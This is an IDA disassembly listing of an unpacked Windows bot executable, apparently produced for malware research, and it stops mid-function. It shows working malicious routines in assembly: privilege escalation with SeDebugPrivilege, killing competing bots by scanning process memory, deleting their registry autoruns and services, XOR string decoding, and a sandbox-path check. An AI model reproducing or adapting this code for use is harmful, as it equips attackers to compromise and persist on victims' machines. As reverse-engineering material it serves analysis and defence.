; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : EC1C04D77301A92E2A9381304A4E832A ; File Name : u:\work\ec1c04d77301a92e2a9381304a4e832a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001D000 ( 118784.) ; Section size in file : 0001D000 ( 118784.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_4049E1+35Eo ; isk1wxzg:0044F7E8o var_25D = byte ptr -25Dh var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_240 = byte ptr -240h var_238 = dword ptr -238h var_230 = dword ptr -230h var_214 = byte ptr -214h var_110 = byte ptr -110h var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 264h mov eax, dword_423068 xor eax, esp mov [esp+264h+var_4], eax push ebx push esi push edi call sub_40C62E ; GetCurrentProcessId mov ebx, ds:dword_41E0CC push offset aOpenthread ; "OpenThread" mov edi, offset aKernel32_dll ; "kernel32.dll" push edi mov [esp+278h+var_24C], eax call ebx ; GetModuleHandleA mov esi, ds:off_41E0D4 push eax call esi ; sub_44439D push offset aOpenprocess ; "OpenProcess" push edi mov dword_426600, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_42660C, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aProcess32first ; "Process32First" push edi mov dword_4265F4, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aProcess32next ; "Process32Next" push edi mov dword_4265F8, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aModule32first ; "Module32First" push edi mov dword_4265FC, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aModule32next ; "Module32Next" push edi mov dword_4265E8, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aThread32first ; "Thread32First" push edi mov dword_426604, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aThread32next ; "Thread32Next" push edi mov dword_4265EC, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aReadprocessmem ; "ReadProcessMemory" push edi mov dword_426610, eax call ebx ; GetModuleHandleA push eax call esi ; sub_44439D push offset aGetmodulefilen ; "GetModuleFileNameExA" push offset aPsapi_dll ; "psapi.dll" mov dword_4265F0, eax call ds:off_41E0D0 push eax call esi ; sub_44439D xor ebx, ebx cmp dword_426600, ebx mov dword_426608, eax jz loc_4013E4 cmp dword_42660C, ebx jz loc_4013E4 cmp dword_4265F4, ebx jz loc_4013E4 cmp dword_4265F8, ebx jz loc_4013E4 cmp dword_4265FC, ebx jz loc_4013E4 cmp dword_4265E8, ebx jz loc_4013E4 cmp dword_426604, ebx jz loc_4013E4 cmp dword_4265EC, ebx jz loc_4013E4 cmp dword_426610, ebx jz loc_4013E4 cmp dword_4265F0, ebx jz loc_4013E4 cmp eax, ebx jz loc_4013E4 loc_401171: ; CODE XREF: sub_401000+3DFj push ebx push 0Fh mov [esp+278h+var_238], 128h call dword_4265F4 lea ecx, [esp+270h+var_238] push ecx push eax mov [esp+278h+var_258], eax call dword_4265F8 test eax, eax jz loc_4013D4 jmp loc_4013BD ; --------------------------------------------------------------------------- loc_40119F: ; CODE XREF: sub_401000+3CEj mov edi, ds:off_41E0E8 lea eax, [esp+270h+var_25C] push eax push ebx push 28h mov [esp+27Ch+var_25D], 1 call edi ; sub_43DB13 mov esi, ds:off_41E034 push eax call esi ; sub_44E232 test eax, eax jnz short loc_4011F3 call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 3F0h jnz short loc_4011EF push 2 call ds:off_41E02C test eax, eax jnz short loc_4011DE mov [esp+270h+var_25D], bl loc_4011DE: ; CODE XREF: sub_401000+1D8j lea eax, [esp+270h+var_25C] push eax push ebx push 28h call edi ; sub_43DB13 push eax call esi ; sub_44E232 test eax, eax jnz short loc_4011F3 loc_4011EF: ; CODE XREF: sub_401000+1CCj mov [esp+270h+var_25D], bl loc_4011F3: ; CODE XREF: sub_401000+1BFj ; sub_401000+1EDj mov esi, [esp+270h+var_25C] lea eax, [esp+270h+var_240] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push ebx call ds:off_41E030 test eax, eax jz short loc_40121E push 1 push esi lea esi, [esp+278h+var_240] call sub_40196D cmp al, bl pop ecx pop ecx jnz short loc_40122C loc_40121E: ; CODE XREF: sub_401000+20Aj push [esp+270h+var_25C] call ds:dword_41E0C4 ; CloseHandle mov [esp+270h+var_25D], bl loc_40122C: ; CODE XREF: sub_401000+21Cj push [esp+270h+var_230] push ebx push 1F0FFFh call dword_42660C mov edi, eax cmp edi, ebx jnz short loc_401246 mov [esp+270h+var_25D], bl loc_401246: ; CODE XREF: sub_401000+240j mov esi, 104h push esi lea eax, [esp+274h+var_110] push ebx push eax call sub_40C6F0 add esp, 0Ch push esi lea eax, [esp+274h+var_110] push eax push ebx push edi call dword_426608 cmp [esp+270h+var_25D], bl jz loc_4013A6 mov esi, [esp+270h+var_25C] lea eax, [esp+270h+var_248] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push ebx call ds:off_41E030 test eax, eax jz short loc_40129E push ebx push esi lea esi, [esp+278h+var_248] call sub_40196D pop ecx pop ecx loc_40129E: ; CODE XREF: sub_401000+28Fj push 8 lea eax, [esp+274h+var_254] push ebx push eax call sub_40C6F0 mov eax, [esp+27Ch+var_24C] add esp, 0Ch cmp [esp+270h+var_230], eax jz loc_4013A6 lea eax, [esp+270h+var_214] push offset aSystem ; "System" push eax call sub_40ACE3 test eax, eax pop ecx pop ecx jz loc_4013A6 push [esp+270h+var_230] call sub_4017FD test al, al pop ecx jz loc_4013A6 push [esp+270h+var_230] lea esi, [esp+274h+var_254] call sub_40176E test al, al pop ecx jz loc_40139C push [esp+270h+var_250] push [esp+274h+var_254] push edi call sub_4018DF add esp, 0Ch test al, al jz loc_40139C push 100h call sub_40AA82 pop ecx push 0FFFFFFFFh push edi mov esi, eax call ds:off_41E0DC test eax, eax jz short loc_401395 push 7D0h call ds:off_41E0E0 lea eax, [esp+270h+var_110] push eax call ds:off_41E0B8 test eax, eax lea eax, [esp+270h+var_214] push eax jz short loc_40135D call sub_40140A pop ecx lea eax, [esp+270h+var_214] push eax loc_40135D: ; CODE XREF: sub_401000+350j call sub_40158F pop ecx push esi call sub_40C58B pop ecx push eax mov ebx, offset asc_424FE0 ; "±±ÆÀÔÙ" call sub_401ACE pop ecx lea eax, [esp+270h+var_110] push eax push offset aBotKilledS ; "Bot Killed: %s" push esi push 0 push offset dword_426A3C call sub_403DB4 add esp, 14h xor ebx, ebx loc_401395: ; CODE XREF: sub_401000+32Ej push esi call sub_40C76A pop ecx loc_40139C: ; CODE XREF: sub_401000+2F7j ; sub_401000+310j push [esp+270h+var_230] call sub_40186E pop ecx loc_4013A6: ; CODE XREF: sub_401000+272j ; sub_401000+2B6j ... push [esp+270h+var_25C] mov esi, ds:dword_41E0C4 call esi ; CloseHandle push edi call esi ; CloseHandle push 1 call ds:off_41E0E0 loc_4013BD: ; CODE XREF: sub_401000+19Aj lea eax, [esp+270h+var_238] push eax push [esp+274h+var_258] call dword_4265FC test eax, eax jnz loc_40119F loc_4013D4: ; CODE XREF: sub_401000+194j push 927C0h call ds:off_41E0E0 jmp loc_401171 ; --------------------------------------------------------------------------- loc_4013E4: ; CODE XREF: sub_401000+F7j ; sub_401000+103j ... call ds:dword_41E0C8 ; GetCurrentThreadId push eax call sub_4084BC pop ecx mov ecx, [esp+270h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_40AB4A mov esp, ebp pop ebp retn 4 sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1B8h sub_40140A proc near ; CODE XREF: sub_401000+352p var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-1B8h] sub esp, 238h mov eax, dword_423068 xor eax, ebp mov [ebp+1B8h+var_4], eax mov eax, [ebp+1B8h+arg_0] push ebx push esi push edi xor ebx, ebx push 0FFh mov [ebp+1B8h+var_228], eax lea eax, [ebp+1B8h+var_103] push ebx push eax mov [ebp+1B8h+var_238], offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B8h+var_234], offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B8h+var_230], offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B8h+var_22C], offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B8h+var_104], bl call sub_40C6F0 mov edi, ds:off_41E01C mov esi, 100h add esp, 0Ch mov [ebp+1B8h+var_220], esi mov [ebp+1B8h+var_21C], esi mov [ebp+1B8h+var_20C], offset dword_4255C8 mov [ebp+1B8h+var_224], 2 loc_401489: ; CODE XREF: sub_40140A+167j mov [ebp+1B8h+var_208], ebx loc_40148C: ; CODE XREF: sub_40140A+15Aj mov eax, [ebp+1B8h+var_208] mov eax, [ebp+eax*4+1B8h+var_238] lea ecx, [ebp+1B8h+var_218] push ecx push 1 push ebx push eax mov eax, [ebp+1B8h+var_20C] push dword ptr [eax] call ds:off_41E028 test eax, eax jnz loc_401554 lea eax, [ebp+1B8h+var_21C] push eax lea eax, [ebp+1B8h+var_204] push eax push ebx push ebx lea eax, [ebp+1B8h+var_220] push eax lea eax, [ebp+1B8h+var_104] push eax mov [ebp+1B8h+var_214], ebx push ebx jmp short loc_401544 ; --------------------------------------------------------------------------- loc_4014C9: ; CODE XREF: sub_40140A+144j lea eax, [ebp+1B8h+var_204] push eax mov [ebp+1B8h+var_210], ebx call sub_40C500 pop ecx loc_4014D6: ; CODE XREF: sub_40140A+117j push [ebp+1B8h+var_228] call sub_40C500 push eax mov eax, [ebp+1B8h+var_210] push [ebp+1B8h+var_228] lea eax, [ebp+eax+1B8h+var_204] push eax call sub_40AE23 add esp, 10h test eax, eax jnz short loc_401511 lea eax, [ebp+1B8h+var_104] push eax mov eax, [ebp+1B8h+var_208] push [ebp+eax*4+1B8h+var_238] mov eax, [ebp+1B8h+var_20C] push dword ptr [eax] call sub_405168 add esp, 0Ch loc_401511: ; CODE XREF: sub_40140A+EAj inc [ebp+1B8h+var_210] lea eax, [ebp+1B8h+var_204] push eax call sub_40C500 cmp [ebp+1B8h+var_210], eax pop ecx jbe short loc_4014D6 inc [ebp+1B8h+var_214] lea eax, [ebp+1B8h+var_21C] push eax lea eax, [ebp+1B8h+var_204] push eax push ebx push ebx lea eax, [ebp+1B8h+var_220] push eax lea eax, [ebp+1B8h+var_104] push eax push [ebp+1B8h+var_214] mov [ebp+1B8h+var_220], esi mov [ebp+1B8h+var_21C], esi loc_401544: ; CODE XREF: sub_40140A+BDj push [ebp+1B8h+var_218] call edi ; sub_449641 cmp eax, 103h jnz loc_4014C9 loc_401554: ; CODE XREF: sub_40140A+9Ej push [ebp+1B8h+var_218] call ds:off_41E00C inc [ebp+1B8h+var_208] cmp [ebp+1B8h+var_208], 4 jb loc_40148C add [ebp+1B8h+var_20C], 4 dec [ebp+1B8h+var_224] jnz loc_401489 mov ecx, [ebp+1B8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 1B8h leave retn sub_40140A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2C8h sub_40158F proc near ; CODE XREF: sub_401000:loc_40135Dp var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_33C = dword ptr -33Ch var_338 = dword ptr -338h var_334 = byte ptr -334h var_234 = byte ptr -234h var_233 = byte ptr -233h var_134 = byte ptr -134h var_133 = byte ptr -133h var_34 = byte ptr -34h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-2C8h] sub esp, 348h mov eax, dword_423068 xor eax, ebp mov [ebp+2C8h+var_4], eax push ebx push esi mov eax, [ebp+2C8h+arg_0] push edi push 0Bh pop ecx mov esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"... lea edi, [ebp+2C8h+var_34] rep movsd movsw mov esi, 0FFh xor ebx, ebx push esi mov [ebp+2C8h+var_348], eax lea eax, [ebp+2C8h+var_133] push ebx push eax mov [ebp+2C8h+var_134], bl call sub_40C6F0 push esi lea eax, [ebp+2C8h+var_233] push ebx push eax mov [ebp+2C8h+var_234], bl call sub_40C6F0 add esp, 18h lea eax, [ebp+2C8h+var_340] push eax push 0F003Fh push ebx lea eax, [ebp+2C8h+var_34] push eax push 80000002h call ds:off_41E028 test eax, eax jnz loc_40174D inc esi push esi lea eax, [ebp+2C8h+var_234] push eax push ebx push [ebp+2C8h+var_340] mov [ebp+2C8h+var_33C], ebx call ds:off_41E014 cmp eax, 103h jz loc_40174D mov edi, ds:off_41E03C loc_401645: ; CODE XREF: sub_40158F+1B8j push esi lea eax, [ebp+2C8h+var_334] push ebx push eax call sub_40C6F0 push esi lea eax, [ebp+2C8h+var_134] push ebx push eax call sub_40C6F0 lea eax, [ebp+2C8h+var_234] push eax lea eax, [ebp+2C8h+var_34] push eax push offset aSS_2 ; "%s\\%s" lea eax, [ebp+2C8h+var_134] push 0FFh push eax call sub_40C634 lea eax, [ebp+2C8h+var_134] push eax call sub_40C500 mov [ebp+eax+2C8h+var_134], bl lea eax, [ebp+2C8h+var_334] push eax lea eax, [ebp+2C8h+var_134] push offset aEventmessagefi ; "EventMessageFile" push eax call sub_4051BC add esp, 3Ch test al, al jz short loc_40172B lea eax, [ebp+2C8h+var_334] push eax mov [ebp+2C8h+var_338], ebx call sub_40C500 pop ecx loc_4016BE: ; CODE XREF: sub_40158F+19Aj push [ebp+2C8h+var_348] call sub_40C500 push eax mov eax, [ebp+2C8h+var_338] push [ebp+2C8h+var_348] lea eax, [ebp+eax+2C8h+var_334] push eax call sub_40AE23 add esp, 10h test eax, eax jnz short loc_401719 push 0F003Fh push ebx push ebx call ds:off_41E020 push 0F01FFh lea ecx, [ebp+2C8h+var_234] push ecx push eax mov [ebp+2C8h+var_344], eax call ds:off_41E040 mov ebx, eax call sub_4019F9 push ebx call ds:off_41E038 push [ebp+2C8h+var_344] call edi ; sub_440CDB push ebx call edi ; sub_440CDB xor ebx, ebx loc_401719: ; CODE XREF: sub_40158F+14Dj inc [ebp+2C8h+var_338] lea eax, [ebp+2C8h+var_334] push eax call sub_40C500 cmp [ebp+2C8h+var_338], eax pop ecx jbe short loc_4016BE loc_40172B: ; CODE XREF: sub_40158F+120j inc [ebp+2C8h+var_33C] push esi lea eax, [ebp+2C8h+var_234] push eax push [ebp+2C8h+var_33C] push [ebp+2C8h+var_340] call ds:off_41E014 cmp eax, 103h jnz loc_401645 loc_40174D: ; CODE XREF: sub_40158F+89j ; sub_40158F+AAj push [ebp+2C8h+var_340] call ds:off_41E00C mov ecx, [ebp+2C8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 2C8h leave retn sub_40158F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40176E proc near ; CODE XREF: sub_401000+2EFp var_228 = dword ptr -228h var_214 = dword ptr -214h var_210 = dword ptr -210h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 228h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push edi push [ebp+arg_0] xor ebx, ebx push 8 call dword_4265F4 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4017A7 loc_401797: ; CODE XREF: sub_40176E+53j xor al, al loc_401799: ; CODE XREF: sub_40176E+8Dj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop ebx call sub_40AB4A leave retn ; --------------------------------------------------------------------------- loc_4017A7: ; CODE XREF: sub_40176E+27j lea eax, [ebp+var_228] push eax push edi mov [ebp+var_228], 224h call dword_4265E8 test eax, eax jz short loc_401797 loc_4017C3: ; CODE XREF: sub_40176E+6Bj inc ebx cmp ebx, 1 jz short loc_4017DF lea eax, [ebp+var_228] push eax push edi call dword_426604 test eax, eax jnz short loc_4017C3 xor bl, bl jmp short loc_4017F2 ; --------------------------------------------------------------------------- loc_4017DF: ; CODE XREF: sub_40176E+59j mov eax, [ebp+var_214] mov [esi], eax mov eax, [ebp+var_210] mov [esi+4], eax mov bl, 1 loc_4017F2: ; CODE XREF: sub_40176E+6Fj push edi call ds:dword_41E0C4 ; CloseHandle mov al, bl jmp short loc_401799 sub_40176E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017FD proc near ; CODE XREF: sub_401000+2D9p var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi push 0 push 4 call dword_4265F4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401819 loc_401815: ; CODE XREF: sub_4017FD+30j xor al, al jmp short loc_40186B ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: sub_4017FD+16j lea eax, [ebp+var_1C] push eax push esi mov [ebp+var_1C], 1Ch call dword_4265EC test eax, eax jz short loc_401815 loc_40182F: ; CODE XREF: sub_4017FD+63j mov eax, [ebp+var_10] cmp eax, [ebp+arg_0] jnz short loc_401853 push [ebp+var_14] push 0 push 1F03FFh call dword_426600 push eax call ds:off_41E0C0 cmp eax, 0FFFFFFFFh jz short loc_401862 loc_401853: ; CODE XREF: sub_4017FD+38j lea eax, [ebp+var_1C] push eax push esi call dword_426610 test eax, eax jnz short loc_40182F loc_401862: ; CODE XREF: sub_4017FD+54j push esi call ds:dword_41E0C4 ; CloseHandle mov al, 1 loc_40186B: ; CODE XREF: sub_4017FD+1Aj pop esi leave retn sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40186E proc near ; CODE XREF: sub_401000+3A0p var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi push 0 push 4 call dword_4265F4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40188A loc_401886: ; CODE XREF: sub_40186E+30j xor al, al jmp short loc_4018DC ; --------------------------------------------------------------------------- loc_40188A: ; CODE XREF: sub_40186E+16j lea eax, [ebp+var_1C] push eax push esi mov [ebp+var_1C], 1Ch call dword_4265EC test eax, eax jz short loc_401886 loc_4018A0: ; CODE XREF: sub_40186E+63j mov eax, [ebp+var_10] cmp eax, [ebp+arg_0] jnz short loc_4018C4 push [ebp+var_14] push 0 push 1F03FFh call dword_426600 push eax call ds:off_41E0BC cmp eax, 0FFFFFFFFh jz short loc_4018D3 loc_4018C4: ; CODE XREF: sub_40186E+38j lea eax, [ebp+var_1C] push eax push esi call dword_426610 test eax, eax jnz short loc_4018A0 loc_4018D3: ; CODE XREF: sub_40186E+54j push esi call ds:dword_41E0C4 ; CloseHandle mov al, 1 loc_4018DC: ; CODE XREF: sub_40186E+1Aj pop esi leave retn sub_40186E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018DF proc near ; CODE XREF: sub_401000+306p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_8] call sub_40AA82 xor edi, edi mov esi, eax cmp esi, edi pop ecx mov [ebp+var_8], edi jnz short loc_401907 push edi call sub_40C76A pop ecx xor al, al loc_401903: ; CODE XREF: sub_4018DF+4Dj pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_401907: ; CODE XREF: sub_4018DF+19j push ebx lea eax, [ebp+var_8] push eax push [ebp+arg_8] push esi push [ebp+arg_4] push [ebp+arg_0] call dword_4265F0 test eax, eax jnz short loc_40192E loc_401920: ; CODE XREF: sub_4018DF+88j xor bl, bl loc_401922: ; CODE XREF: sub_4018DF+8Cj push esi call sub_40C76A pop ecx mov al, bl pop ebx jmp short loc_401903 ; --------------------------------------------------------------------------- loc_40192E: ; CODE XREF: sub_4018DF+3Fj ; sub_4018DF+86j and [ebp+var_4], 0 mov ebx, offset dword_4255D0 loc_401937: ; CODE XREF: sub_4018DF+80j push dword ptr [ebx+80h] lea eax, [edi+esi] push ebx push eax call sub_40AE7F add esp, 0Ch test eax, eax jz short loc_401969 mov eax, 84h add [ebp+var_4], eax add ebx, eax cmp [ebp+var_4], 4A4h jb short loc_401937 inc edi cmp edi, [ebp+var_8] jbe short loc_40192E jmp short loc_401920 ; --------------------------------------------------------------------------- loc_401969: ; CODE XREF: sub_4018DF+6Dj mov bl, 1 jmp short loc_401922 sub_4018DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40196D proc near ; CODE XREF: sub_401000+213p ; sub_401000+297p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov ecx, [esi] and [ebp+var_18], 0 push ebx push edi mov edi, ds:off_41E010 push 10h pop eax mov [ebp+var_20], ecx mov ecx, [esi+4] mov [ebp+var_1C], ecx lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_14] push ecx push eax mov [ebp+var_4], eax lea eax, [ebp+var_24] push eax push 0 push [ebp+arg_0] mov [ebp+var_24], 1 call edi ; sub_446217 mov ebx, ds:dword_41E0D8 call ebx ; RtlGetLastWin32Error test eax, eax jz short loc_4019BB xor al, al jmp short loc_4019F5 ; --------------------------------------------------------------------------- loc_4019BB: ; CODE XREF: sub_40196D+48j mov eax, [esi] mov [ebp+var_10], eax mov eax, [esi+4] mov [ebp+var_C], eax xor eax, eax cmp [ebp+arg_4], eax mov [ebp+var_14], 1 jz short loc_4019DA or [ebp+var_8], 2 jmp short loc_4019DE ; --------------------------------------------------------------------------- loc_4019DA: ; CODE XREF: sub_40196D+65j and [ebp+var_8], 0FFFFFFFDh loc_4019DE: ; CODE XREF: sub_40196D+6Bj push eax push eax push [ebp+var_4] lea ecx, [ebp+var_14] push ecx push eax push [ebp+arg_0] call edi ; sub_446217 call ebx ; RtlGetLastWin32Error neg eax sbb al, al inc al loc_4019F5: ; CODE XREF: sub_40196D+4Cj pop edi pop ebx leave retn sub_40196D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019F9 proc near ; CODE XREF: sub_40158F+174p var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 2Ch push offset dword_421FA8 call __SEH_prolog4 mov edi, ds:dword_41E0EC call edi ; GetTickCount mov [ebp+var_20], eax lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx mov esi, ds:off_41E024 call esi ; sub_43DCC0 test eax, eax jnz short loc_401A34 loc_401A29: ; CODE XREF: sub_4019F9+61j ; sub_4019F9+8Aj ... call ds:dword_41E0D8 ; RtlGetLastWin32Error jmp loc_401AC8 ; --------------------------------------------------------------------------- loc_401A34: ; CODE XREF: sub_4019F9+2Ej cmp [ebp+var_38], 1 jz loc_401AC6 jmp short loc_401A6E ; --------------------------------------------------------------------------- loc_401A40: ; CODE XREF: sub_4019F9+79j push [ebp+var_24] call ds:off_41E0E0 lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx call esi ; sub_43DCC0 test eax, eax jz short loc_401A29 cmp [ebp+var_38], 1 jz short loc_401AC6 call edi ; GetTickCount sub eax, [ebp+var_20] cmp eax, 12Ch ja short loc_401A87 loc_401A6E: ; CODE XREF: sub_4019F9+45j cmp [ebp+var_38], 3 jz short loc_401A40 lea eax, [ebp+var_3C] push eax push 1 push ebx call ds:off_41E018 test eax, eax jz short loc_401A29 jmp short loc_401AC0 ; --------------------------------------------------------------------------- loc_401A87: ; CODE XREF: sub_4019F9+73j ; sub_4019F9+C5j mov eax, 5B4h jmp short loc_401AC8 ; --------------------------------------------------------------------------- loc_401A8E: ; CODE XREF: sub_4019F9+CBj push [ebp+var_24] call ds:off_41E0E0 lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx call esi ; sub_43DCC0 test eax, eax jz loc_401A29 cmp [ebp+var_38], 1 jz short loc_401AC6 call edi ; GetTickCount sub eax, [ebp+var_20] cmp eax, 12Ch ja short loc_401A87 loc_401AC0: ; CODE XREF: sub_4019F9+8Cj cmp [ebp+var_38], 1 jnz short loc_401A8E loc_401AC6: ; CODE XREF: sub_4019F9+3Fj ; sub_4019F9+67j ... xor eax, eax loc_401AC8: ; CODE XREF: sub_4019F9+36j ; sub_4019F9+93j call __SEH_epilog4 retn sub_4019F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACE proc near ; CODE XREF: sub_401000+370p ; sub_402833+133p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push edi push [ebp+arg_0] xor edi, edi push edi push esi call sub_40C6F0 push ebx call sub_40C500 add esp, 10h test eax, eax jbe short loc_401B3F mov eax, [ebp+arg_0] dec eax mov [ebp+var_4], eax loc_401AF3: ; CODE XREF: sub_401ACE+6Fj push offset aOxrihybuygfrdg ; "oxrIHYbuYGFrDgAT" call sub_40C500 test eax, eax pop ecx jz short loc_401B04 xor eax, eax loc_401B04: ; CODE XREF: sub_401ACE+32j movsx ecx, byte ptr [edi+ebx] movsx eax, byte ptr aOxrihybuygfrdg[eax] ; "oxrIHYbuYGFrDgAT" xor ecx, eax xor ecx, 0FDh push ecx push esi push offset aSC ; "%s%c" push [ebp+var_4] push esi call sub_40C634 push esi call sub_40C500 push ebx mov byte ptr [eax+esi], 0 inc edi call sub_40C500 add esp, 1Ch cmp edi, eax jb short loc_401AF3 loc_401B3F: ; CODE XREF: sub_401ACE+1Cj mov eax, esi pop edi leave retn sub_401ACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B44 proc near ; CODE XREF: sub_4049E1+24p var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov ebx, 104h push ebx call sub_40AA82 mov esi, offset aCInsidetm ; "C:\\InsideTm" lea edi, [ebp+var_10] movsd pop ecx push ebx movsd push eax push 0 mov [ebp+var_14], eax movsd call ds:dword_41E0CC ; GetModuleHandleA push eax call ds:dword_41E0B4 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax call sub_40C500 push eax lea eax, [ebp+var_10] push eax push [ebp+var_14] call sub_40AE23 push [ebp+var_14] mov ebx, eax neg ebx sbb bl, bl inc bl call sub_40C76A mov ecx, [ebp+var_4] add esp, 14h pop edi pop esi mov al, bl xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_401B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BBC proc near ; CODE XREF: sub_4049E1+31p var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push offset aGetwindowlonga ; "GetWindowLongA" push offset aUser32 ; "user32" call ds:off_41E0D0 push eax call ds:off_41E0D4 xor cl, cl mov [ebp+var_B], cl mov [ebp+var_A], cl mov [ebp+var_9], cl push 5 lea ecx, [ebp+var_C] push ecx push eax mov [ebp+var_C], 0C8h mov [ebp+var_8], 0B8h call sub_40AE7F mov ecx, [ebp+var_4] add esp, 0Ch neg eax sbb al, al xor ecx, ebp inc al call sub_40AB4A leave retn sub_401BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1BCh sub_401C17 proc near ; CODE XREF: 